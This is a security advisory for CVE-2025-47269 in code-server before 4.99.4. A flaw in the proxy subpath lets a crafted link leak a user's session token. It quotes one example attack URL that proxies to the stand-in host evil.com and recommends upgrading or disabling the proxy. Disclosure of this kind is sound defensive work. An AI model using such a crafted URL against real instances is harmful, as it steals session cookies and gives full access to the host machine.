PT-2025-20599 · Unknown · Code-Server
Code-Asher
·
Published
2025-05-09
·
Updated
2025-05-12
·
CVE-2025-47269
CVSS v3.1
8.3
High
| Vector | AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L |
Name of the Vulnerable Software and Affected Versions
code-server versions prior to 4.99.4
Description
The issue allows an attacker to gain access to the session token through a maliciously crafted URL using the proxy subpath. This can result in the attacker proxying to an arbitrary domain, potentially exfiltrating a user's session token. The malicious URL, for example
https://<code-server>/proxy/test@evil.com/path, would be proxied to test@evil.com/path. With access to the session cookie, the attacker can log into code-server and have full access to the machine hosting code-server as the user running code-server.Recommendations
For versions prior to 4.99.4, update to version 4.99.4 to resolve the issue. As a temporary workaround, consider disabling the built-in proxy until a patch is available. Restrict access to the proxy subpath to minimize the risk of exploitation. Avoid clicking on maliciously crafted links that reference the /proxy subpath in code-server instances.
Exploit
Fix
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
Code-Server